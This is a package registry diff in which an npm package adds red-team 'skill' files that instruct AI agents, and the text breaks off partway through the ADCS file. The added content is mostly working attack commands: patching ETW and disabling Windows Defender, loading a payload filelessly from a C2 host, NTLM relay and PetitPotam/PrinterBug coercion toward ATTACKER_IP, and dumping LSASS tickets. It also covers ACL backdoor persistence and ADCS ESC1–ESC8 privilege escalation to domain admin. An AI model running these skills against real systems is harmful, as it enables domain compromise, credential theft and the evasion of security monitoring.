rtexit-method 0.1.3 → 0.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +115 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +147 -0
- package/packaged-assets/.agents/skills/rt-exploit-adcs/SKILL.md +395 -0
- package/packaged-assets/.agents/skills/rt-kubernetes/SKILL.md +377 -0
- package/packaged-assets/.agents/skills/rt-lsass-dumping/SKILL.md +273 -0
- package/packaged-assets/.agents/skills/rt-social-engineering/SKILL.md +401 -0
- package/packaged-assets/.agents/skills/rt-supply-chain/SKILL.md +322 -0
package/package.json
CHANGED
|
@@ -985,3 +985,118 @@ After each technique, document the following in your engagement log:
|
|
|
985
985
|
- Timestomping Forensics (Blanche): https://github.com/jipegit/OSXAuditor
|
|
986
986
|
- SwiftOnSecurity Sysmon Config: https://github.com/SwiftOnSecurity/sysmon-config
|
|
987
987
|
- Eventlogedit-evtx: https://github.com/3gstudent/Eventlogedit-evtx--Evolution
|
|
988
|
+
|
|
989
|
+
---
|
|
990
|
+
|
|
991
|
+
## ETW (Event Tracing for Windows) Patching
|
|
992
|
+
|
|
993
|
+
ETW feeds data to Windows Defender, SIEM, and EDR tools. Patching ETW stops telemetry from reaching security tools.
|
|
994
|
+
|
|
995
|
+
```powershell
|
|
996
|
+
# Patch ETW in current PowerShell process
|
|
997
|
+
$Signature = @'
|
|
998
|
+
[DllImport("kernel32.dll")]
|
|
999
|
+
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
|
1000
|
+
[DllImport("kernel32.dll")]
|
|
1001
|
+
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
|
1002
|
+
[DllImport("kernel32.dll")]
|
|
1003
|
+
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
|
1004
|
+
'@
|
|
1005
|
+
$Win32 = Add-Type -MemberDefinition $Signature -Name "Win32" -Namespace "Win32Functions" -PassThru
|
|
1006
|
+
$ntdll = $Win32::GetModuleHandle("ntdll.dll")
|
|
1007
|
+
$addr = $Win32::GetProcAddress($ntdll, "EtwEventWrite")
|
|
1008
|
+
$p = 0
|
|
1009
|
+
$Win32::VirtualProtect($addr, [uint32]4, 0x40, [ref]$p)
|
|
1010
|
+
$patch = [byte[]](0xC3) # RET — function returns immediately
|
|
1011
|
+
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 1)
|
|
1012
|
+
# Now ETW events from this process are suppressed
|
|
1013
|
+
```
|
|
1014
|
+
|
|
1015
|
+
---
|
|
1016
|
+
|
|
1017
|
+
## Sysmon Evasion
|
|
1018
|
+
|
|
1019
|
+
Sysmon logs: Event 1 (process create), Event 3 (network), Event 11 (file write). Most blue teams rely on Sysmon.
|
|
1020
|
+
|
|
1021
|
+
```powershell
|
|
1022
|
+
# Detect Sysmon
|
|
1023
|
+
Get-Process sysmon64 -ErrorAction SilentlyContinue
|
|
1024
|
+
fltMC # SysmonDrv appears in filter driver list
|
|
1025
|
+
|
|
1026
|
+
# Dump config to understand what's monitored
|
|
1027
|
+
sysmon64 -c
|
|
1028
|
+
|
|
1029
|
+
# PPID spoofing — spawn payload from excluded parent (e.g., explorer.exe)
|
|
1030
|
+
# Most Sysmon configs exclude Microsoft-signed processes as parent
|
|
1031
|
+
# Use CreateProcess with UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)
|
|
1032
|
+
|
|
1033
|
+
# Fileless to avoid Event 11 (file creation)
|
|
1034
|
+
$bytes = (New-Object Net.WebClient).DownloadData("http://C2/payload.bin")
|
|
1035
|
+
$asm = [Reflection.Assembly]::Load($bytes)
|
|
1036
|
+
$asm.EntryPoint.Invoke($null, $null)
|
|
1037
|
+
```
|
|
1038
|
+
|
|
1039
|
+
---
|
|
1040
|
+
|
|
1041
|
+
## Advanced Process Injection
|
|
1042
|
+
|
|
1043
|
+
### Classic DLL Injection
|
|
1044
|
+
```
|
|
1045
|
+
1. OpenProcess(target PID)
|
|
1046
|
+
2. VirtualAllocEx → allocate memory in target
|
|
1047
|
+
3. WriteProcessMemory → write DLL path
|
|
1048
|
+
4. CreateRemoteThread(LoadLibraryA, dll_path_ptr)
|
|
1049
|
+
```
|
|
1050
|
+
|
|
1051
|
+
### Process Hollowing
|
|
1052
|
+
```
|
|
1053
|
+
1. CreateProcess(svchost.exe, SUSPENDED)
|
|
1054
|
+
2. NtUnmapViewOfSection → remove original code
|
|
1055
|
+
3. VirtualAllocEx + WriteProcessMemory → inject payload
|
|
1056
|
+
4. SetThreadContext(RIP = payload entry)
|
|
1057
|
+
5. ResumeThread → payload runs as svchost
|
|
1058
|
+
```
|
|
1059
|
+
|
|
1060
|
+
### Early Bird APC Injection (EDR evasion — runs before hooks)
|
|
1061
|
+
```
|
|
1062
|
+
1. CreateProcess(target.exe, SUSPENDED)
|
|
1063
|
+
2. VirtualAllocEx + WriteProcessMemory (shellcode)
|
|
1064
|
+
3. QueueUserAPC(shellcode_addr, suspended_thread)
|
|
1065
|
+
4. ResumeThread → APC runs before EDR hooks initialize
|
|
1066
|
+
Tools: github.com/xuanxuan0/EarlyBird
|
|
1067
|
+
```
|
|
1068
|
+
|
|
1069
|
+
### Indirect Syscalls (Bypass NTDLL hooks)
|
|
1070
|
+
```bash
|
|
1071
|
+
# EDRs hook NtAllocateVirtualMemory, NtCreateThread in NTDLL
|
|
1072
|
+
# Indirect syscalls: call syscall number directly, skip NTDLL
|
|
1073
|
+
|
|
1074
|
+
git clone https://github.com/klezVirus/SysWhispers3
|
|
1075
|
+
python3 syswhispers.py --preset all -o syscalls
|
|
1076
|
+
# Generates stubs that invoke syscalls without touching hooked NTDLL
|
|
1077
|
+
|
|
1078
|
+
# HellsGate: dynamically find SSNs at runtime
|
|
1079
|
+
git clone https://github.com/am0nsec/HellsGate
|
|
1080
|
+
```
|
|
1081
|
+
|
|
1082
|
+
---
|
|
1083
|
+
|
|
1084
|
+
## Disable Windows Defender (When Admin)
|
|
1085
|
+
|
|
1086
|
+
```powershell
|
|
1087
|
+
# Disable real-time protection
|
|
1088
|
+
Set-MpPreference -DisableRealtimeMonitoring $true
|
|
1089
|
+
|
|
1090
|
+
# Add exclusion (more subtle)
|
|
1091
|
+
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
|
|
1092
|
+
Add-MpPreference -ExclusionProcess "powershell.exe"
|
|
1093
|
+
|
|
1094
|
+
# Stop service (requires SYSTEM + Tamper Protection off)
|
|
1095
|
+
Stop-Service WinDefend -Force
|
|
1096
|
+
Set-Service WinDefend -StartupType Disabled
|
|
1097
|
+
|
|
1098
|
+
# Tamper protection via registry (requires SYSTEM + no MDM)
|
|
1099
|
+
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
|
|
1100
|
+
```
|
|
1101
|
+
|
|
1102
|
+
---
|
|
@@ -1076,3 +1076,150 @@ Remediation:
|
|
|
1076
1076
|
- AD CS ESC1-ESC8: https://posts.specterops.io/certified-pre-owned-d95910965cd2
|
|
1077
1077
|
- Golden Ticket: https://adsecurity.org/?p=1640
|
|
1078
1078
|
- Forest Trust Abuse: https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
|
|
1079
|
+
|
|
1080
|
+
---
|
|
1081
|
+
|
|
1082
|
+
## ADCS Integration — Certificate-Based Attack Paths
|
|
1083
|
+
|
|
1084
|
+
> Full ADCS exploitation walkthrough is in **rt-exploit-adcs**. This section covers the AD integration points.
|
|
1085
|
+
|
|
1086
|
+
```bash
|
|
1087
|
+
# After owning CA via ESC8 relay → full DCSync
|
|
1088
|
+
# Chain: PetitPotam → ntlmrelayx → ADCS cert → certipy auth → secretsdump
|
|
1089
|
+
|
|
1090
|
+
# Quick ESC1 from AD foothold
|
|
1091
|
+
certipy find -u 'user@corp.local' -p 'Pass' -dc-ip DC_IP -vulnerable -stdout
|
|
1092
|
+
certipy req -u 'user@corp.local' -p 'Pass' -ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@corp.local' -dc-ip DC_IP
|
|
1093
|
+
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
|
1094
|
+
impacket-secretsdump -hashes :OBTAINED_HASH corp.local/administrator@DC_IP
|
|
1095
|
+
```
|
|
1096
|
+
|
|
1097
|
+
---
|
|
1098
|
+
|
|
1099
|
+
## Kerberos Relay Attacks (NTLM → Kerberos Escalation)
|
|
1100
|
+
|
|
1101
|
+
### LLMNR/NBT-NS Poisoning → NTLMv2 Capture
|
|
1102
|
+
|
|
1103
|
+
```bash
|
|
1104
|
+
# Responder captures NTLMv2 challenge-response on the network
|
|
1105
|
+
sudo responder -I eth0 -dwv
|
|
1106
|
+
# Wait for network activity (file share access, web browsing, etc.)
|
|
1107
|
+
# Captured: CORP\john.smith::CORP:CHALLENGE:HASH
|
|
1108
|
+
|
|
1109
|
+
# Crack offline
|
|
1110
|
+
hashcat -a 0 -m 5600 ntlmv2.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
|
1111
|
+
|
|
1112
|
+
# Or relay instead of cracking (see below)
|
|
1113
|
+
```
|
|
1114
|
+
|
|
1115
|
+
### NTLM Relay → SMB/LDAP
|
|
1116
|
+
|
|
1117
|
+
```bash
|
|
1118
|
+
# Disable SMB + HTTP in Responder (we relay, not capture)
|
|
1119
|
+
sed -i 's/SMB = On/SMB = Off/; s/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf
|
|
1120
|
+
|
|
1121
|
+
# Run relay — target: DC LDAP (for RBCD or shadow creds) or target host SMB
|
|
1122
|
+
impacket-ntlmrelayx -t ldap://DC_IP --delegate-access -smb2support
|
|
1123
|
+
# --delegate-access: configures RBCD automatically on relayed machine account
|
|
1124
|
+
# Wait for Responder to capture auth → relay triggers
|
|
1125
|
+
|
|
1126
|
+
# Relay to multiple SMB targets (spray)
|
|
1127
|
+
impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -enc BASE64_PAYLOAD"
|
|
1128
|
+
```
|
|
1129
|
+
|
|
1130
|
+
### PetitPotam — Unauthenticated NTLM Coercion
|
|
1131
|
+
|
|
1132
|
+
```bash
|
|
1133
|
+
# Coerce DC to authenticate to attacker (triggers NTLM auth)
|
|
1134
|
+
# Works unauthenticated on older Windows (patched in Aug 2021, but still found)
|
|
1135
|
+
|
|
1136
|
+
# Clone
|
|
1137
|
+
git clone https://github.com/topotam/PetitPotam
|
|
1138
|
+
|
|
1139
|
+
# Unauthenticated (older systems)
|
|
1140
|
+
python3 PetitPotam.py -d '' -u '' -p '' ATTACKER_IP DC_IP
|
|
1141
|
+
|
|
1142
|
+
# Authenticated (post-patch)
|
|
1143
|
+
python3 PetitPotam.py -d corp.local -u lowpriv -p Password1 ATTACKER_IP DC_IP
|
|
1144
|
+
|
|
1145
|
+
# Combined with ADCS relay (ESC8)
|
|
1146
|
+
# Terminal 1: ntlmrelayx targeting ADCS
|
|
1147
|
+
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
|
|
1148
|
+
|
|
1149
|
+
# Terminal 2: coerce DC
|
|
1150
|
+
python3 PetitPotam.py ATTACKER_IP DC_IP
|
|
1151
|
+
|
|
1152
|
+
# Get DC cert → certipy auth → DCSync
|
|
1153
|
+
```
|
|
1154
|
+
|
|
1155
|
+
### PrinterBug (MS-RPRN) — Authenticated Coercion
|
|
1156
|
+
|
|
1157
|
+
```bash
|
|
1158
|
+
# Requires domain credentials but works on patched systems
|
|
1159
|
+
git clone https://github.com/dirkjanm/krbrelayx
|
|
1160
|
+
|
|
1161
|
+
python3 printerbug.py corp.local/lowpriv:Password1@DC_IP ATTACKER_IP
|
|
1162
|
+
|
|
1163
|
+
# Combined with unconstrained delegation host
|
|
1164
|
+
# If you control a host with unconstrained delegation:
|
|
1165
|
+
# 1. Get TGT from DC (via printerbug coercion)
|
|
1166
|
+
# 2. Extract TGT from LSASS on delegation host
|
|
1167
|
+
# 3. Use TGT for DCSync
|
|
1168
|
+
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
|
|
1169
|
+
# Look for: [DC$@CORP.LOCAL].kirbi
|
|
1170
|
+
.\Rubeus.exe ptt /ticket:[DC$@CORP.LOCAL].kirbi
|
|
1171
|
+
impacket-secretsdump -k corp.local/DC$@dc.corp.local -no-pass
|
|
1172
|
+
```
|
|
1173
|
+
|
|
1174
|
+
---
|
|
1175
|
+
|
|
1176
|
+
## Shadow Admin — ACL-Based Persistence
|
|
1177
|
+
|
|
1178
|
+
```bash
|
|
1179
|
+
# After domain compromise — create stealthy persistence via ACL backdoors
|
|
1180
|
+
# Instead of adding to Domain Admins (noisy), grant specific rights to a low-priv account
|
|
1181
|
+
|
|
1182
|
+
# Option A — Grant DCSync rights to backdoor account
|
|
1183
|
+
# (Requires Domain Admin or WriteDacl on domain root)
|
|
1184
|
+
|
|
1185
|
+
# Check current DACLs on domain object
|
|
1186
|
+
python3 /opt/impacket/examples/dacledit.py -action read -target-dn 'DC=corp,DC=local' \
|
|
1187
|
+
-principal backdoor -dc-ip DC_IP corp.local/admin:Password1
|
|
1188
|
+
|
|
1189
|
+
# Add DCSync rights (Replicating Directory Changes + Replicating Directory Changes All)
|
|
1190
|
+
python3 /opt/impacket/examples/dacledit.py -action write -rights DCSync \
|
|
1191
|
+
-principal backdoor -target-dn 'DC=corp,DC=local' \
|
|
1192
|
+
-dc-ip DC_IP corp.local/admin:Password1
|
|
1193
|
+
|
|
1194
|
+
# Now backdoor account can DCSync without being in any admin group
|
|
1195
|
+
impacket-secretsdump corp.local/backdoor:Password1@DC_IP
|
|
1196
|
+
|
|
1197
|
+
# Option B — AdminSDHolder modification (propagates to all protected groups)
|
|
1198
|
+
# Changes to AdminSDHolder propagate every 60 minutes to all admin group members
|
|
1199
|
+
python3 /opt/impacket/examples/dacledit.py -action write -rights FullControl \
|
|
1200
|
+
-principal backdoor -target-dn 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' \
|
|
1201
|
+
-dc-ip DC_IP corp.local/admin:Password1
|
|
1202
|
+
|
|
1203
|
+
# After 60 min → backdoor has FullControl over all DA/EA/etc accounts
|
|
1204
|
+
|
|
1205
|
+
# Option C — WriteDacl on specific high-value accounts
|
|
1206
|
+
python3 /opt/impacket/examples/dacledit.py -action write -rights WriteMembers \
|
|
1207
|
+
-principal backdoor -target-dn 'CN=Domain Admins,CN=Users,DC=corp,DC=local' \
|
|
1208
|
+
-dc-ip DC_IP corp.local/admin:Password1
|
|
1209
|
+
|
|
1210
|
+
# backdoor can now add itself to Domain Admins at will
|
|
1211
|
+
net rpc group addmem "Domain Admins" backdoor -U corp.local/backdoor%Password1 -S DC_IP
|
|
1212
|
+
```
|
|
1213
|
+
|
|
1214
|
+
### ACL Detection & BloodHound
|
|
1215
|
+
|
|
1216
|
+
```
|
|
1217
|
+
BloodHound query to find ACL paths:
|
|
1218
|
+
MATCH p=shortestPath((n:User {name:"BACKDOOR@CORP.LOCAL"})-[:*1..]->(c:Computer))
|
|
1219
|
+
RETURN p
|
|
1220
|
+
|
|
1221
|
+
MATCH (n:User)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)
|
|
1222
|
+
RETURN n.name
|
|
1223
|
+
```
|
|
1224
|
+
|
|
1225
|
+
---
|
|
@@ -0,0 +1,395 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-adcs
|
|
3
|
+
description: "Active Directory Certificate Services (ADCS) exploitation skill. ESC1 through ESC8 template abuse, misconfigured enrollment rights, SAN abuse for domain admin impersonation, relay attacks via certificate enrollment (ESC8), NTLM relay to ADCS HTTP endpoint, Certipy and Certify tooling, shadow credentials via msDS-KeyCredentialLink. Use when ADCS is deployed in the domain (default in 90%+ of enterprise environments)."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-adcs — Active Directory Certificate Services Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
ADCS (Active Directory Certificate Services) is Microsoft's PKI implementation and is deployed by default in most enterprise environments. The "Certified Pre-Owned" research (SpecterOps, 2021) identified 8 escalation paths (ESC1–ESC8) that allow low-privileged domain users to escalate to Domain Admin by abusing misconfigured certificate templates, CA permissions, or enrollment endpoints.
|
|
11
|
+
|
|
12
|
+
**Why ADCS matters:**
|
|
13
|
+
- Deployed in ~90% of enterprise AD environments
|
|
14
|
+
- Misconfigurations are common and rarely audited
|
|
15
|
+
- Certificates survive password resets — persistence that outlasts credential rotations
|
|
16
|
+
- ESC1 + ESC8 are the most commonly exploited in 2024 red team engagements
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Prerequisites
|
|
21
|
+
|
|
22
|
+
- Domain user credentials (low-privilege is enough for ESC1–ESC4)
|
|
23
|
+
- Network access to AD environment
|
|
24
|
+
- Tools: `Certipy`, `Certify.exe`, `impacket`, `Rubeus`
|
|
25
|
+
|
|
26
|
+
```bash
|
|
27
|
+
# Install Certipy
|
|
28
|
+
pip3 install certipy-ad
|
|
29
|
+
|
|
30
|
+
# Or from source
|
|
31
|
+
git clone https://github.com/ly4k/Certipy && cd Certipy && pip3 install .
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## Step 1 — Enumerate ADCS (Find the CA)
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# Certipy — find all CAs and vulnerable templates
|
|
40
|
+
certipy find -u 'user@corp.local' -p 'Password1' -dc-ip 10.10.10.1
|
|
41
|
+
|
|
42
|
+
# Output: corp.local.zip (open with certipy-gui or inspect manually)
|
|
43
|
+
# Key file: corp.local_Certipy.txt
|
|
44
|
+
|
|
45
|
+
# Find only vulnerable templates
|
|
46
|
+
certipy find -u 'user@corp.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable -stdout
|
|
47
|
+
|
|
48
|
+
# Certify.exe (Windows, in-memory preferred)
|
|
49
|
+
.\Certify.exe find /vulnerable
|
|
50
|
+
.\Certify.exe find /vulnerable /currentuser
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**What to look for:**
|
|
54
|
+
```
|
|
55
|
+
Certificate Authorities
|
|
56
|
+
CA Name : CORP-CA
|
|
57
|
+
DNS Name : ca.corp.local
|
|
58
|
+
Enrollment Endpoint: http://ca.corp.local/certsrv/ ← ESC8 target
|
|
59
|
+
|
|
60
|
+
Certificate Templates
|
|
61
|
+
Template Name : VulnerableTemplate
|
|
62
|
+
Enrollee Supplies Subject: True ← ESC1
|
|
63
|
+
Client Auth : True ← can be used for auth
|
|
64
|
+
Enabled : True
|
|
65
|
+
Low-Priv Enroll: True ← any domain user can enroll
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## ESC1 — Enrollee Supplies Subject (SAN Abuse)
|
|
71
|
+
|
|
72
|
+
**Condition:** Template allows `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` + Client Authentication EKU + low-priv enrollment
|
|
73
|
+
|
|
74
|
+
**Impact:** Request a certificate AS any user including Domain Admin
|
|
75
|
+
|
|
76
|
+
```bash
|
|
77
|
+
# Certipy — request cert as Domain Admin
|
|
78
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
79
|
+
-ca 'CORP-CA' \
|
|
80
|
+
-template 'VulnerableTemplate' \
|
|
81
|
+
-upn 'administrator@corp.local' \
|
|
82
|
+
-dc-ip 10.10.10.1
|
|
83
|
+
|
|
84
|
+
# Output: administrator.pfx
|
|
85
|
+
|
|
86
|
+
# Authenticate with the certificate → get NT hash
|
|
87
|
+
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
|
|
88
|
+
|
|
89
|
+
# Output:
|
|
90
|
+
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
|
|
91
|
+
|
|
92
|
+
# Use hash for PTH
|
|
93
|
+
impacket-wmiexec -hashes :fc525c9683e8fe067095ba2ddc971889 administrator@10.10.10.1
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
**Windows (Certify + Rubeus):**
|
|
97
|
+
```powershell
|
|
98
|
+
# Request certificate
|
|
99
|
+
.\Certify.exe request /ca:ca.corp.local\CORP-CA /template:VulnerableTemplate /altname:administrator
|
|
100
|
+
|
|
101
|
+
# Convert PEM to PFX
|
|
102
|
+
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
|
103
|
+
|
|
104
|
+
# Auth with Rubeus
|
|
105
|
+
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:'' /ptt
|
|
106
|
+
.\Rubeus.exe klist
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## ESC2 — Any Purpose EKU
|
|
112
|
+
|
|
113
|
+
**Condition:** Template has `Any Purpose` EKU or no EKU (SubCA)
|
|
114
|
+
|
|
115
|
+
**Impact:** Can be used for client auth regardless of intended purpose
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
# Same as ESC1 — certipy req with the template
|
|
119
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
120
|
+
-ca 'CORP-CA' \
|
|
121
|
+
-template 'AnyPurposeTemplate' \
|
|
122
|
+
-dc-ip 10.10.10.1
|
|
123
|
+
|
|
124
|
+
# Use the cert to enroll in ESC3 template (chain attack)
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## ESC3 — Enrollment Agent Templates
|
|
130
|
+
|
|
131
|
+
**Condition:** Template 1 has Certificate Request Agent EKU; Template 2 allows enrollment agents to enroll on behalf
|
|
132
|
+
|
|
133
|
+
**Impact:** Enroll as any user via two-step chain
|
|
134
|
+
|
|
135
|
+
```bash
|
|
136
|
+
# Step 1 — get enrollment agent certificate
|
|
137
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
138
|
+
-ca 'CORP-CA' \
|
|
139
|
+
-template 'EnrollmentAgentTemplate' \
|
|
140
|
+
-dc-ip 10.10.10.1
|
|
141
|
+
# Output: lowpriv.pfx (enrollment agent cert)
|
|
142
|
+
|
|
143
|
+
# Step 2 — use agent cert to request on behalf of admin
|
|
144
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
145
|
+
-ca 'CORP-CA' \
|
|
146
|
+
-template 'User' \
|
|
147
|
+
-on-behalf-of 'corp\administrator' \
|
|
148
|
+
-pfx lowpriv.pfx \
|
|
149
|
+
-dc-ip 10.10.10.1
|
|
150
|
+
# Output: administrator.pfx
|
|
151
|
+
|
|
152
|
+
# Authenticate
|
|
153
|
+
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## ESC4 — Vulnerable Template ACL (Write Permissions)
|
|
159
|
+
|
|
160
|
+
**Condition:** Low-priv user has `WriteProperty` / `WriteDacl` / `WriteOwner` on a template
|
|
161
|
+
|
|
162
|
+
**Impact:** Modify the template to introduce ESC1 conditions, then exploit
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
# Check who has write access to templates
|
|
166
|
+
certipy find -u 'lowpriv@corp.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable
|
|
167
|
+
|
|
168
|
+
# Certipy — update template to enable ESC1
|
|
169
|
+
certipy template -u 'lowpriv@corp.local' -p 'Password1' \
|
|
170
|
+
-template 'TargetTemplate' \
|
|
171
|
+
-save-old \
|
|
172
|
+
-dc-ip 10.10.10.1
|
|
173
|
+
|
|
174
|
+
# Now exploit as ESC1
|
|
175
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
176
|
+
-ca 'CORP-CA' \
|
|
177
|
+
-template 'TargetTemplate' \
|
|
178
|
+
-upn 'administrator@corp.local' \
|
|
179
|
+
-dc-ip 10.10.10.1
|
|
180
|
+
|
|
181
|
+
# Restore original template (cleanup)
|
|
182
|
+
certipy template -u 'lowpriv@corp.local' -p 'Password1' \
|
|
183
|
+
-template 'TargetTemplate' \
|
|
184
|
+
-configuration TargetTemplate.json \
|
|
185
|
+
-dc-ip 10.10.10.1
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## ESC5 — Vulnerable PKI Object ACL
|
|
191
|
+
|
|
192
|
+
**Condition:** Low-priv user has control over CA object, RPC/DCOM access, or AD CS container
|
|
193
|
+
|
|
194
|
+
**Impact:** Full CA compromise
|
|
195
|
+
|
|
196
|
+
```bash
|
|
197
|
+
# Enumerate CA object ACLs
|
|
198
|
+
certipy find -u 'lowpriv@corp.local' -p 'Password1' -dc-ip 10.10.10.1
|
|
199
|
+
|
|
200
|
+
# If WriteOwner on CA — take ownership, add manager rights
|
|
201
|
+
# Use RSAT-AD tools or PowerView to exploit ACL
|
|
202
|
+
Import-Module ActiveDirectory
|
|
203
|
+
Set-ADObject -Identity "CN=CORP-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" -Add @{msPKI-Certificate-Name-Flag=1}
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
|
|
209
|
+
|
|
210
|
+
**Condition:** CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set on ANY template
|
|
211
|
+
|
|
212
|
+
**Impact:** Supply SAN in any certificate request (even templates without CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# Check CA flags
|
|
216
|
+
certipy find -u 'lowpriv@corp.local' -p 'Password1' -dc-ip 10.10.10.1 -stdout | grep -i "ATTRIBUTESUBJECTALTNAME2"
|
|
217
|
+
|
|
218
|
+
# If flag present — exploit like ESC1 on any Client Auth template
|
|
219
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
220
|
+
-ca 'CORP-CA' \
|
|
221
|
+
-template 'User' \
|
|
222
|
+
-upn 'administrator@corp.local' \
|
|
223
|
+
-dc-ip 10.10.10.1
|
|
224
|
+
|
|
225
|
+
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
---
|
|
229
|
+
|
|
230
|
+
## ESC7 — Vulnerable CA Permissions
|
|
231
|
+
|
|
232
|
+
**Condition:** User has `ManageCA` or `ManageCertificates` rights on the CA
|
|
233
|
+
|
|
234
|
+
**Impact:** Approve pending requests, enable EDITF flag, issue certificates
|
|
235
|
+
|
|
236
|
+
```bash
|
|
237
|
+
# If ManageCA — enable SubCA template, then ESC1
|
|
238
|
+
certipy ca -u 'lowpriv@corp.local' -p 'Password1' \
|
|
239
|
+
-ca 'CORP-CA' \
|
|
240
|
+
-enable-template 'SubCA' \
|
|
241
|
+
-dc-ip 10.10.10.1
|
|
242
|
+
|
|
243
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
244
|
+
-ca 'CORP-CA' \
|
|
245
|
+
-template 'SubCA' \
|
|
246
|
+
-upn 'administrator@corp.local' \
|
|
247
|
+
-dc-ip 10.10.10.1
|
|
248
|
+
# Will fail — pending approval
|
|
249
|
+
|
|
250
|
+
# Approve your own request (ManageCA right)
|
|
251
|
+
certipy ca -u 'lowpriv@corp.local' -p 'Password1' \
|
|
252
|
+
-ca 'CORP-CA' \
|
|
253
|
+
-issue-request 42 \
|
|
254
|
+
-dc-ip 10.10.10.1
|
|
255
|
+
|
|
256
|
+
# Retrieve issued cert
|
|
257
|
+
certipy req -u 'lowpriv@corp.local' -p 'Password1' \
|
|
258
|
+
-ca 'CORP-CA' \
|
|
259
|
+
-retrieve 42 \
|
|
260
|
+
-dc-ip 10.10.10.1
|
|
261
|
+
|
|
262
|
+
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
## ESC8 — NTLM Relay to ADCS HTTP Enrollment Endpoint
|
|
268
|
+
|
|
269
|
+
**Condition:** Web Enrollment (`/certsrv/`) endpoint enabled; NTLM auth allowed; no EPA/signing
|
|
270
|
+
|
|
271
|
+
**Impact:** Relay any domain machine account's NTLM auth to CA → get DC machine cert → DCSync
|
|
272
|
+
|
|
273
|
+
```bash
|
|
274
|
+
# Step 1 — check if web enrollment is active
|
|
275
|
+
curl -I http://ca.corp.local/certsrv/
|
|
276
|
+
# HTTP 401 with NTLM = vulnerable
|
|
277
|
+
|
|
278
|
+
# Step 2 — set up NTLM relay targeting /certsrv/
|
|
279
|
+
impacket-ntlmrelayx \
|
|
280
|
+
-t http://ca.corp.local/certsrv/certfnsh.asp \
|
|
281
|
+
--adcs \
|
|
282
|
+
--template 'DomainController' \
|
|
283
|
+
-smb2support
|
|
284
|
+
|
|
285
|
+
# Step 3 — coerce DC authentication (PetitPotam or PrinterBug)
|
|
286
|
+
# PetitPotam (unauthenticated in older Windows)
|
|
287
|
+
python3 PetitPotam.py -d corp.local -u '' -p '' ATTACKER_IP DC_IP
|
|
288
|
+
|
|
289
|
+
# PrinterBug (requires domain creds)
|
|
290
|
+
